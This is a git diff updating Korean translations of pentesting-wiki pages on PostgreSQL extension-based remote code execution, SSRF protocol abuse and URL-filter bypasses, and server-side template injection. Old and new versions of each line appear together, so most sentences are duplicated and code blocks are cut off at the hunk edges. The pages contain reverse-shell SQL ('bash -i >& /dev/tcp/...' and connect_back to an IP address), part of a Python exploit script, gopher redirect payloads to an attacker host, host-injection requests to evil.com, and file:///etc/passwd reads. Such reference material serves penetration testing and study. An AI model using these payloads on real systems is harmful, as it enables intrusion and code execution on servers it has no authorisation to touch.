PostgreSQL는 확장성을 핵심 기능으로 개발되어, 마치 내장 기능처럼 확장을 원활하게 통합할 수 있습니다. 이러한 확장은 본질적으로 C로 작성된 라이브러리로, 데이터베이스에 추가 기능, 연산자 또는 유형을 풍부하게 합니다.
PostgreSQL는 확장성을 핵심 기능으로 개발하여, 확장을 마치 내장 기능처럼 원활하게 통합할 수 있습니다. 이러한 확장은 본질적으로 C로 작성된 라이브러리로, 데이터베이스에 추가 기능, 연산자 또는 유형을 풍부하게 합니다.
버전 8.1부터는 확장 라이브러리에 대한 특정 요구 사항이 부과됩니다: 특별한 헤더로 컴파일되어야 합니다. 그렇지 않으면 PostgreSQL은 이를 실행하지 않으며, 호환 가능하고 잠재적으로 안전한 확장만 사용되도록 보장합니다.
8.1 버전부터는 확장 라이브러리에 특정 요구 사항이 부과됩니다: 특별한 헤더로 컴파일되어야 합니다. 그렇지 않으면 PostgreSQL은 이를 실행하지 않으며, 호환 가능하고 잠재적으로 안전한 확장만 사용되도록 보장합니다.
또한, **당신이 PostgreSQL을 악용하여 피해자에게 파일을 업로드하는 방법을 모른다면 이 게시물을 읽어야 합니다.** [**upload files to the victim abusing PostgreSQL you should read this post.**](big-binary-files-upload-postgresql.md)
또한, **PostgreSQL을 악용하여 피해자에게 파일을 업로드하는 방법을 모른다면 이 게시물을 읽어야 합니다.** [**upload files to the victim abusing PostgreSQL you should read this post.**](big-binary-files-upload-postgresql.md)
### RCE in Linux
**자세한 정보는 확인하세요: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
**자세한 정보는 다음을 확인하세요: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
PostgreSQL 8.1 및 이전 버전에서 시스템 명령을 실행하는 것은 명확하게 문서화되어 있으며 간단한 프로세스입니다. 이를 사용하여 다음을 사용할 수 있습니다: [Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
```sql
@ -26,9 +26,9 @@ CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' L
```
<details>
<summary>Write binary file from base64</summary>
<summary>base64로 이진 파일 쓰기</summary>
Postgres에서 이진 파일을 작성하려면 base64를 사용해야 할 수 있습니다. 이는 다음과 같은 경우에 유용합니다:
Postgres에서 파일에 이진 데이터를 쓰려면 base64를 사용해야 할 수 있습니다. 이는 이 문제에 도움이 될 것입니다:
```sql
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
@ -75,13 +75,13 @@ HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
```
이 오류는 [PostgreSQL 문서](https://www.postgresql.org/docs/current/static/xfunc-c.html)에서 설명되어 있습니다:
> 동적으로 로드된 객체 파일이 호환되지 않는 서버에 로드되지 않도록 하기 위해 PostgreSQL은 파일에 적절한 내용이 포함된 "매직 블록"이 있는지 확인합니다. 이를 통해 서버는 PostgreSQL의 다른 주요 버전용으로 컴파일된 코드와 같은 명백한 비호환성을 감지할 수 있습니다. PostgreSQL 8.2부터 매직 블록이 필요합니다. 매직 블록을 포함하려면, 헤더 fmgr.h를 포함한 후 모듈 소스 파일 중 하나(그리고 단 하나)에 다음을 작성하십시오:
> 동적으로 로드된 객체 파일이 호환되지 않는 서버에 로드되지 않도록 하기 위해, PostgreSQL은 파일에 적절한 내용이 포함된 "매직 블록"이 있는지 확인합니다. 이를 통해 서버는 PostgreSQL의 다른 주요 버전용으로 컴파일된 코드와 같은 명백한 호환성 문제를 감지할 수 있습니다. PostgreSQL 8.2부터 매직 블록이 필요합니다. 매직 블록을 포함하려면, 헤더 fmgr.h를 포함한 후 모듈 소스 파일 중 하나(그리고 단 하나)에 다음을 작성하십시오:
>
> `#ifdef PG_MODULE_MAGIC`\
> `PG_MODULE_MAGIC;`\
> `#endif`
PostgreSQL 8.2 버전 이후로 공격자가 시스템을 악용하는 과정이 더 어려워졌습니다. 공격자는 시스템에 이미 존재하는 라이브러리를 사용하거나 사용자 정의 라이브러리를 업로드해야 합니다. 이 사용자 정의 라이브러리는 호환되는 PostgreSQL의 주요 버전에 대해 컴파일되어야 하며 특정 "매직 블록"을 포함해야 합니다. 이 조치는 PostgreSQL 시스템을 악용하는 난이도를 크게 증가시키며, 시스템의 아키텍처와 버전 호환성에 대한 더 깊은 이해가 필요합니다.
PostgreSQL 8.2 버전 이후로 공격자가 시스템을 악용하는 과정이 더 어려워졌습니다. 공격자는 시스템에 이미 존재하는 라이브러리를 사용하거나 사용자 정의 라이브러리를 업로드해야 합니다. 이 사용자 정의 라이브러리는 호환 가능한 주요 버전의 PostgreSQL에 대해 컴파일되어야 하며 특정 "매직 블록"을 포함해야 합니다. 이 조치는 PostgreSQL 시스템을 악용하는 난이도를 크게 증가시키며, 시스템의 아키텍처와 버전 호환성에 대한 더 깊은 이해가 필요합니다.
#### 라이브러리 컴파일
@ -119,9 +119,11 @@ CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAG
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes
```
**라이브러리는 미리 컴파일된** 여러 PostgreSQL 버전 찾을 수 있으며, **이 프로세스를 자동화할 수 있습니다** (PostgreSQL 접근 권한이 있는 경우):
**라이브러리는 미리 컴파일된** 여러 PostgreSQL 버전에서 찾을 수 있으며, **이 프로세스를 자동화할 수 있습니다** (PostgreSQL 접근 권한이 있는 경우) 다음과 함께:
{% embed url="https://github.com/Dionach/pgexec" %}
{{#ref}}
https://github.com/Dionach/pgexec
{{#endref}}
### Windows에서 RCE
@ -254,25 +256,25 @@ PG_RETURN_INT32(arg + 1);
```c
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
```
[PolyUDF 프로젝트](https://github.com/rop-la/PolyUDF)는 전체 MS Visual Studio 프로젝트와 사용 준비가 완료된 라이브러리(_command eval_, _exec__cleanup_ 포함)와 다중 버전 지원이 있는 좋은 시작점입니다.
[PolyUDF 프로젝트](https://github.com/rop-la/PolyUDF)는 전체 MS Visual Studio 프로젝트와 사용 준비가 완료된 라이브러리(_command eval_, _exec__cleanup_ 포함)와 다중 버전 지원이 있어 좋은 출발점입니다.
### 최신 PostgreSQL 버전에서의 RCE
**최신 버전**의 PostgreSQL에서는 `superuser`가 특정 디렉토리(예: Windows의 `C:\Program Files\PostgreSQL\11\lib` 또는 \*nix 시스템의 `/var/lib/postgresql/11/lib`)에서만 공유 라이브러리 파일을 **로드하는 것**이 **금지**되었습니다. 이러한 디렉토리는 NETWORK_SERVICE 또는 postgres 계정에 의해 쓰기 작업이 **보호**됩니다.
**최신 버전**의 PostgreSQL에서는 `superuser`가 특정 디렉토리(예: Windows의 `C:\Program Files\PostgreSQL\11\lib` 또는 \*nix 시스템의 `/var/lib/postgresql/11/lib`)에서만 공유 라이브러리 파일을 **로드**하는 것이 **금지**되었습니다. 이러한 디렉토리는 NETWORK_SERVICE 또는 postgres 계정에 의해 쓰기 작업이 **보호**됩니다.
이러한 제한에도 불구하고 인증된 데이터베이스 `superuser`는 "대용량 객체"를 사용하여 파일 시스템에 **바이너리 파일을 쓰는 것**이 가능합니다. 이 기능은 데이터베이스 작업(예: 테이블 업데이트 또는 생성)에 필수적인 `C:\Program Files\PostgreSQL\11\data` 디렉토리 내에서의 쓰기로 확장됩니다.
이러한 제한에도 불구하고 인증된 데이터베이스 `superuser`는 "대용량 객체"를 사용하여 파일 시스템에 **바이너리 파일**을 **쓰기**할 수 있습니다. 이 기능은 데이터베이스 작업(예: 테이블 업데이트 또는 생성)에 필수적인 `C:\Program Files\PostgreSQL\11\data` 디렉토리 내에서의 쓰기로 확장됩니다.
중요한 취약점은 `CREATE FUNCTION` 명령에서 발생하며, 이는 데이터 디렉토리로의 **디렉토리 탐색**을 **허용**합니다. 따라서 인증된 공격자는 이 탐색을 **악용하여** 데이터 디렉토리에 공유 라이브러리 파일을 쓰고 이를 **로드**할 수 있습니다. 이 익스플로잇은 공격자가 임의의 코드를 실행할 수 있게 하여 시스템에서 네이티브 코드 실행을 달성하게 합니다.
중요한 취약점은 `CREATE FUNCTION` 명령에서 발생하며, 이는 데이터 디렉토리로의 **디렉토리 탐색**을 **허용**합니다. 따라서 인증된 공격자는 이 탐색을 **악용**하여 데이터 디렉토리에 공유 라이브러리 파일을 작성한 다음 **로드**할 수 있습니다. 이 익스플로잇은 공격자가 임의의 코드를 실행할 수 있게 하여 시스템에서 네이티브 코드 실행을 달성하게 합니다.
#### 공격 흐름
먼저 **대용량 객체를 사용하여 dll을 업로드해야** 합니다. 이를 수행하는 방법은 여기에서 확인할 수 있습니다:
먼저 **대용량 객체를 사용하여 dll을 업로드**해야 합니다. 이를 수행하는 방법은 여기에서 확인할 수 있습니다:
{{#ref}}
big-binary-files-upload-postgresql.md
{{#endref}}
데이터 디렉토리에 확장자(poc.dll이라는 이름으로 이 예제에서)를 업로드한 후, 다음과 같이 로드할 수 있습니다:
데이터 디렉토리에 확장자(poc.dll이라는 이름으로 이 예제에서)를 업로드한 후 다음과 같이 로드할 수 있습니다:
```c
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);
@ -280,8 +282,8 @@ select connect_back('192.168.100.54', 1234);
_확장자를 `.dll`로 추가할 필요는 없습니다. create 함수가 이를 추가할 것입니다._
자세한 정보는 **[원본 게시물을 여기에서 읽어보세요](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.\
해당 게시물에서는 **postgres 확장을 생성하는 데 사용된** [**코드가 여기에 있습니다**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_postgres 확장을 컴파일하는 방법을 배우려면 이전 버전 중 하나를 읽어보세요_).\
같은 페이지에서 이 **기술을 자동화하는** exploit이 제공되었습니다:
해당 게시물에서는 **postgres 확장을 생성하는 데 사용된** [**코드**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_postgres 확장을 컴파일하는 방법을 배우려면 이전 버전 중 하나를 읽어보세요_)가 제공되었습니다.\
같은 페이지에서 이 **기술을 자동화하는** **익스플로잇**이 제공되었습니다:
```python
#!/usr/bin/env python3
import sys
@ -319,7 +321,7 @@ print("(+) for a db cleanup only, run the following sql:")
print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print(" drop function connect_back(text, integer);")
```
## 참고 문헌
## 참고문헌
- [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)
- [https://www.exploit-db.com/papers/13084](https://www.exploit-db.com/papers/13084)

View File

@ -36,13 +36,13 @@ url-format-bypass.md
## 프로토콜
- **file://**
- URL 스킴 `file://` 참조되며, `/etc/passwd`를 직접 가리킵니다: `file:///etc/passwd`
- URL 스킴 `file://` 참조되며, `/etc/passwd`를 직접 가리킵니다: `file:///etc/passwd`
- **dict://**
- DICT URL 스킴은 DICT 프로토콜을 통해 정의나 단어 목록에 접근하는 데 사용됩니다. 특정 단어, 데이터베이스 및 항목 번호를 타겟으로 하는 URL을 구성한 예가 제공되며, 공격자가 제공한 자격 증명을 사용하여 DICT 서버에 연결하기 위해 PHP 스크립트가 잘못 사용될 수 있는 경우를 설명합니다: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
- DICT URL 스킴은 DICT 프로토콜을 통해 정의나 단어 목록에 접근하는 데 사용됩니다. 특정 단어, 데이터베이스 및 항목 번호를 목표로 하는 URL을 구성한 예가 제공되며, 공격자가 제공한 자격 증명을 사용하여 DICT 서버에 연결하기 위해 PHP 스크립트가 잘못 사용될 수 있는 사례도 포함됩니다: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
- **SFTP://**
- 보안 셸을 통한 안전한 파일 전송 프로토콜로 확인되며, 악성 SFTP 서버에 연결하기 위해 PHP 스크립트를 악용하는 방법을 보여주는 예가 제공됩니다: `url=sftp://generic.com:11111/`
- **TFTP://**
- UDP를 통해 작동하는 트리비얼 파일 전송 프로토콜이 언급되며, TFTP 서버에 요청을 보내기 위해 설계된 PHP 스크립트의 예가 제공됩니다. 'generic.com'의 포트 '12346'에 'TESTUDPPACKET' 파일에 대한 TFTP 요청이 이루어집니다: `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
- UDP를 통해 작동하는 트리비얼 파일 전송 프로토콜이 언급되며, TFTP 서버에 요청을 보내기 위해 설계된 PHP 스크립트의 예가 포함됩니다. 'generic.com'의 포트 '12346'에 'TESTUDPPACKET' 파일에 대한 TFTP 요청이 이루어집니다: `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
- **LDAP://**
- 이 섹션은 경량 디렉터리 접근 프로토콜을 다루며, IP 네트워크를 통해 분산 디렉터리 정보 서비스 관리 및 접근에 사용됩니다. 로컬호스트에서 LDAP 서버와 상호작용: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
- **SMTP**
@ -60,12 +60,12 @@ From https://twitter.com/har1sec/status/1182255952055164929
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
```
- **Gopher://**
- Gopher 프로토콜의 IP, 포트 및 바이트를 서버 통신을 위해 지정할 수 있는 기능과 페이로드를 작성하기 위한 Gopherus 및 remote-method-guesser와 같은 도구에 대해 논의합니다. 두 가지 뚜렷한 사용 사례가 설명됩니다:
- Gopher 프로토콜의 IP, 포트 및 바이트를 서버 통신 지정할 수 있는 기능과 페이로드를 작성하기 위한 Gopherus 및 remote-method-guesser와 같은 도구에 대해 논의합니다. 두 가지 뚜렷한 사용 사례가 설명됩니다:
### Gopher://
이 프로토콜을 사용하면 서버 **전송**할 **IP, 포트 및 바이트**를 지정할 수 있습니다. 그런 다음, 기본적으로 SSRF를 이용하여 **모든 TCP 서버와 통신**할 수 있습니다(하지만 먼저 서비스와 대화하는 방법을 알아야 합니다).\
다행히도, 여러 서비스에 대한 페이로드를 생성하기 위해 [Gopherus](https://github.com/tarunkant/Gopherus)를 사용할 수 있습니다. 또한, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)를 사용하여 _Java RMI_ 서비스에 대한 _gopher_ 페이로드를 생성할 수 있습니다.
이 프로토콜을 사용하면 서버 **전송**할 **IP, 포트 및 바이트**를 지정할 수 있습니다. 그런 다음 기본적으로 SSRF를 이용하여 **모든 TCP 서버와 통신**할 수 있습니다(하지만 먼저 서비스와 대화하는 방법을 알아야 합니다).\
다행히도 여러 서비스에 대한 페이로드를 생성하기 위해 [Gopherus](https://github.com/tarunkant/Gopherus)를 사용할 수 있습니다. 또한, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)를 사용하여 _Java RMI_ 서비스에 대한 _gopher_ 페이로드를 생성할 수 있습니다.
**Gopher smtp**
```
@ -88,7 +88,7 @@ QUIT
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
```
**Gopher SMTP — 1337 백커넥트**
**Gopher SMTP — 1337 백커넥트**
```php:redirect.php
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
@ -110,7 +110,7 @@ curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
## SSRF via SNI data from certificate
간단한 설정을 통해 모든 백엔드에 연결할 수 있게 하는 잘못된 구성은 예시 Nginx 구성으로 설명됩니다:
간단한 설정을 통해 모든 백엔드에 연결할 수 있게 하는 잘못된 구성은 예시 Nginx 구성을 통해 설명됩니다:
```
stream {
server {
@ -149,7 +149,7 @@ openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
## Gopher로의 SSRF 리디렉션
일부 익스플로잇을 위해 **리디렉션 응답을 전송해야 할 수 있습니다**(다른 프로토콜인 gopher를 사용할 수 있습니다). 여기 리디렉션으로 응답하기 위한 다양한 파이썬 코드가 있습니다:
일부 익스플로잇을 위해 **리디렉션 응답을 전송해야 할 수 있습니다**(다른 프로토콜인 gopher를 사용할 수 있습니다). 여기에서 리디렉션으로 응답하는 다양한 파이썬 코드를 확인할 수 있습니다:
```python
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
@ -218,7 +218,7 @@ Connection: close
<figure><img src="../../images/image (1201).png" alt=""><figcaption></figcaption></figure>
요청의 **경로**를 문자 **`;`**로 시작할 수 있다는 것이 발견되었으며, 이를 통해 **`@`**를 사용하고 새로운 호스트를 주입하여 접근할 수 있습니다. 공격 요청:
요청의 **경로**를 문자 **`;`**로 시작할 수 있으며, 이를 통해 **`@`**를 사용하고 새로운 호스트를 주입하여 접근할 수 있다는 것이 발견되었습니다. 공격 요청:
```http
GET ;@evil.com/url HTTP/1.1
Host: target.com
@ -245,7 +245,7 @@ var_dump($response);
```
</details>
PHP는 URL의 경로에서 슬래시 앞에 **문자 `*`**를 사용할 수 있지만, 루트 경로 `/`에만 사용할 수 있고 첫 번째 슬래시 앞에 점 `.`이 허용되지 않는 등의 다른 제한이 있습니다. 따라서 예를 들어 점 없는 헥스 인코딩된 IP 주소를 사용해야 합니다:
PHP는 URL 경로의 슬래시 앞에 **문자 `*`**를 사용할 수 있지만, 루트 경로 `/`에만 사용할 수 있고 첫 번째 슬래시 앞에 점 `.`이 허용되지 않는 등의 다른 제한이 있습니다. 따라서 예를 들어 점이 없는 16진수로 인코딩된 IP 주소를 사용해야 합니다:
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
@ -253,7 +253,7 @@ Connection: close
```
## DNS Rebidding CORS/SOP 우회
**CORS/SOP** 때문에 **로컬 IP에서 콘텐츠를 추출하는 데 문제가** 있는 경우, **DNS Rebidding**을 사용하여 해당 제한을 우회할 수 있습니다:
로컬 IP에서 **콘텐츠를 추출하는 데 문제가** 있는 경우 **CORS/SOP** 때문에 **DNS Rebidding**을 사용하여 해당 제한을 우회할 수 있습니다:
{{#ref}}
../cors-bypass.md
@ -263,7 +263,7 @@ Connection: close
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity)은 [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding) 공격을 수행하는 도구입니다. 공격 서버의 DNS 이름의 IP 주소를 대상 머신의 IP 주소로 다시 바인딩하고, 대상 머신의 취약한 소프트웨어를 악용하기 위한 공격 페이로드를 제공하는 데 필요한 구성 요소를 포함하고 있습니다.
또한 **공식적으로 운영되는 서버를 확인하세요** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)
또한 **공식적으로 운영되는 서버**를 확인해 보세요: [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)
## DNS Rebidding + TLS 세션 ID/세션 티켓
@ -276,19 +276,19 @@ Connection: close
공격:
1. 사용자/봇에게 **공격자가 제어하는 도메인**에 **접속**하도록 요청합니다.
2. **DNS**의 **TTL**은 **0**초입니다 (그래서 피해자는 곧 도메인의 IP를 다시 확인할 것입니다).
2. **DNS**의 **TTL**은 **0**초입니다 (따라서 피해자는 곧 도메인의 IP를 다시 확인할 것입니다).
3. 피해자와 공격자의 도메인 간에 **TLS 연결**이 생성됩니다. 공격자는 **세션 ID 또는 세션 티켓** 안에 **페이로드를 삽입**합니다.
4. **도메인**은 **자신**에 대한 **무한 루프**의 리다이렉트를 시작합니다. 이 목표는 사용자/봇이 도메인에 접근하여 **다시** 도메인의 **DNS 요청**을 수행하게 만드는 것입니다.
5. DNS 요청에서 **이제** **사설 IP** 주소가 제공됩니다 (예: 127.0.0.1).
6. 사용자/봇은 **TLS 연결을 재설정**하려고 시도하며, 이를 위해 **세션** ID/티켓 ID를 **전송**합니다 (여기에는 **공격자의 페이로드**가 포함되어 있습니다). 축하합니다, 당신은 **사용자/봇이 스스로 공격하도록 요청**하는 데 성공했습니다.
5. DNS 요청에서 **이제** **개인 IP** 주소가 제공됩니다 (예: 127.0.0.1).
6. 사용자/봇은 **TLS 연결을 재설정**하려고 시도하며, 이를 위해 **세션** ID/티켓 ID를 **전송**합니다 (여기에는 **공격자의 페이로드**가 포함되어 있습니다). 축하합니다, 당신은 **사용자/봇이 스스로 공격하도록 요청하는 데 성공했습니다**.
이 공격 중에, 만약 localhost:11211 (_memcache_)를 공격하고 싶다면, 피해자가 www.attacker.com:11211과 초기 연결을 설정하도록 해야 합니다 (포트는 항상 동일해야 합니다).\
이 공격 중에 localhost:11211 (_memcache_)를 공격하려면 피해자가 www.attacker.com:11211과 초기 연결을 설정하도록 해야 합니다 ( **포트는 항상 동일해야 합니다**).\
이 공격을 수행하기 위해 사용할 수 있는 도구: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
자세한 정보는 이 공격이 설명된 강의를 확인하세요: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference)
**자세한 정보**는 이 공격이 설명된 강의를 확인하세요: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference)
## 블라인드 SSRF
블라인드 SSRF와 비블라인드 SSRF의 차이 블라인드에서는 SSRF 요청의 응답을 볼 수 없다는 것입니다. 따라서 잘 알려진 취약점만을 이용할 수 있기 때문에 더 어렵습니다.
블라인드 SSRF와 비블라인드 SSRF의 차이점은 블라인드에서는 SSRF 요청의 응답을 볼 수 없다는 것입니다. 따라서 잘 알려진 취약점만을 악용할 수 있기 때문에 악용하기 더 어렵습니다.
### 시간 기반 SSRF
@ -318,7 +318,7 @@ SSRF 취약점을 탐지하고 악용하는 도구입니다.
### [Gopherus](https://github.com/tarunkant/Gopherus)
- [Gopherus에 대한 블로그 포스트](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)
- [Gopherus에 대한 블로그 게시물](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)
이 도구는 다음을 위한 Gopher 페이로드를 생성합니다:
@ -331,7 +331,7 @@ SSRF 취약점을 탐지하고 악용하는 도구입니다.
### [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
- [SSRF 사용에 대한 블로그 포스트](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
- [SSRF 사용에 대한 블로그 게시물](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
_remote-method-guesser_는 대부분의 일반적인 _Java RMI_ 취약점에 대한 공격 작업을 지원하는 _Java RMI_ 취약점 스캐너입니다. 사용 가능한 대부분의 작업은 요청된 작업에 대한 _SSRF_ 페이로드를 생성하기 위해 `--ssrf` 옵션을 지원합니다. `--gopher` 옵션과 함께 사용하면 즉시 사용할 수 있는 _gopher_ 페이로드를 직접 생성할 수 있습니다.
@ -341,7 +341,9 @@ SSRF Proxy는 서버 측 요청 위조(SSRF)에 취약한 HTTP 서버를 통해
### 연습하기
{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}
{{#ref}}
https://github.com/incredibleindishell/SSRF_Vulnerable_Lab
{{#endref}}
## 참고 문헌

View File

@ -153,18 +153,20 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
```
### 퍼징
도구 [**recollapse**](https://github.com/0xacb/recollapse)는 주어진 입력에서 변형을 생성하여 사용된 정규 표현식을 우회하려고 시도할 수 있습니다. 추가 정보는 [**이 게시물**](https://0xacb.com/2022/11/21/recollapse/)을 확인하세요.
도구 [**recollapse**](https://github.com/0xacb/recollapse)는 주어진 입력에서 변형을 생성하여 사용된 정규 표현식을 우회하려고 시도할 수 있습니다. 더 많은 정보는 [**이 게시물**](https://0xacb.com/2022/11/21/recollapse/)을 확인하세요.
### 자동 맞춤 단어 목록
포트스위거의 [**URL 검증 우회 치트 시트** 웹앱](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet)을 확인해 보세요. 여기에서 허용된 호스트와 공격자의 호스트를 입력하면 시도할 URL 목록을 생성니다. 또한 URL을 매개변수, Host 헤더 또는 CORS 헤더에서 사용할 수 있는지 고려합니다.
포트스위거의 [**URL 검증 우회 치트 시트** 웹앱](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet)을 확인해 보세요. 여기에서 허용된 호스트와 공격자의 호스트를 입력하면 시도할 URL 목록을 생성해 줍니다. 또한 URL을 매개변수, Host 헤더 또는 CORS 헤더에서 사용할 수 있는지 여부도 고려합니다.
{% embed url="https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet" %}
{{#ref}}
https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
{{#endref}}
### 리디렉션을 통한 우회
서버가 SSRF의 **원래 요청을 필터링**하고 **리디렉션** 응답은 필터링하지 않을 가능성이 있습니다.\
예를 들어, `url=https://www.google.com/`를 통해 SSRF에 취약한 서버는 **url 매개변수를 필터링**할 수 있습니다. 그러나 [파이썬 서버를 사용하여 302로 응답](https://pastebin.com/raw/ywAUhFrv)하여 리디렉션하려는 위치로 이동하면 **필터링된 IP 주소**인 127.0.0.1 또는 필터링된 **프로토콜**인 gopher에 **접근할 수** 있을 수 있습니다.\
예를 들어, `url=https://www.google.com/`를 통해 SSRF에 취약한 서버는 **url 매개변수를 필터링**할 수 있습니다. 그러나 [파이썬 서버를 사용하여 302로 응답](https://pastebin.com/raw/ywAUhFrv)하면 리디렉션하려는 위치로 이동할 수 있으며, 필터링된 IP 주소인 127.0.0.1 또는 필터링된 **프로토콜**인 gopher에 **접근할 수** 있을 수 있습니다.\
[이 보고서를 확인하세요.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
```python
#!/usr/bin/env python3
@ -190,7 +192,7 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
### 백슬래시 트릭
_백슬래시 트릭_은 [WHATWG URL 표준](https://url.spec.whatwg.org/#url-parsing)과 [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) 간의 차이를 이용합니다. RFC3986은 URI에 대한 일반적인 프레임워크인 반면, WHATWG는 웹 URL에 특정하며 현대 브라우저에서 채택되고 있습니다. 주요 차이점은 WHATWG 표준이 백슬래시(`\`)를 슬래시(`/`)와 동등하게 인식하여 URL이 구문 분석되는 방식에 영향을 미치며, 특히 URL에서 호스트 이름에서 경로로의 전환을 표시하는 데 있습니다.
_백슬래시 트릭_은 [WHATWG URL 표준](https://url.spec.whatwg.org/#url-parsing)과 [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) 간의 차이를 이용합니다. RFC3986은 URI에 대한 일반적인 프레임워크인 반면, WHATWG는 웹 URL에 특정하며 현대 브라우저에서 채택되고 있습니다. 주요 차이점은 WHATWG 표준이 백슬래시(`\`)를 슬래시(`/`)와 동등하게 인식하여 URL이 구문 분석되는 방식에 영향을 미치며, 특히 URL에서 호스트 이름에서 경로로의 전환을 표시하는 것입니다.
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg)

View File

@ -1,8 +1,7 @@
# SSTI (서버 사이드 템플릿 인젝션)
# SSTI (Server Side Template Injection)
{{#include ../../banners/hacktricks-training.md}}
## SSTI (서버 사이드 템플릿 인젝션)란 무엇인가
서버 사이드 템플릿 인젝션은 공격자가 서버에서 실행되는 템플릿에 악성 코드를 주입할 수 있을 때 발생하는 취약점입니다. 이 취약점은 Jinja를 포함한 다양한 기술에서 발견될 수 있습니다.
@ -11,9 +10,9 @@ Jinja는 웹 애플리케이션에서 사용되는 인기 있는 템플릿 엔
```python
output = template.render(name=request.args.get('name'))
```
이 취약한 코드에서 사용자의 요청으로부터 `name` 매개변수가 `render` 함수를 사용하여 템플릿에 직접 전달됩니다. 이는 공격자가 `name` 매개변수에 악성 코드를 주입할 수 있게 하여 서버 측 템플릿 주입으로 이어질 수 있습니다.
이 취약한 코드에서 사용자의 요청으로부터 `name` 매개변수가 `render` 함수를 사용하여 템플릿에 직접 전달됩니다. 이는 공격자가 `name` 매개변수에 악성 코드를 주입할 수 있는 가능성을 열어 서버 측 템플릿 주입으로 이어질 수 있습니다.
예를 들어, 공격자는 다음과 같은 페이로드로 요청을 조작할 수 있습니다:
예를 들어, 공격자는 다음과 같은 페이로드를 포함한 요청을 만들 수 있습니다:
```
http://vulnerable-website.com/?name={{bad-stuff-here}}
```
@ -23,7 +22,7 @@ http://vulnerable-website.com/?name={{bad-stuff-here}}
### 탐지
서버 측 템플릿 주입(SSTI)을 탐지하기 위해, 처음에는 **템플릿 퍼징**이 간단한 접근 방식입니다. 이는 특수 문자 시퀀스 (**`${{<%[%'"}}%\`**)를 템플릿에 주입하고 서버의 응답에서 일반 데이터와 이 특수 페이로드의 차이를 분석하는 것을 포함합니다. 취약점 지표에는 다음이 포함됩니다:
서버 측 템플릿 주입(SSTI)을 탐지하기 위해, 처음에는 **템플릿 퍼징**이 간단한 접근 방식입니다. 이는 특수 문자 시퀀스 (**`${{<%[%'"}}%\`**)를 템플릿에 주입하고 서버의 응답에서 일반 데이터와 이 특수 페이로드의 차이를 분석하는 것을 포함합니다. 취약점 지표는 다음과 같습니다:
- 취약점을 드러내는 오류 발생, 잠재적으로 템플릿 엔진을 노출.
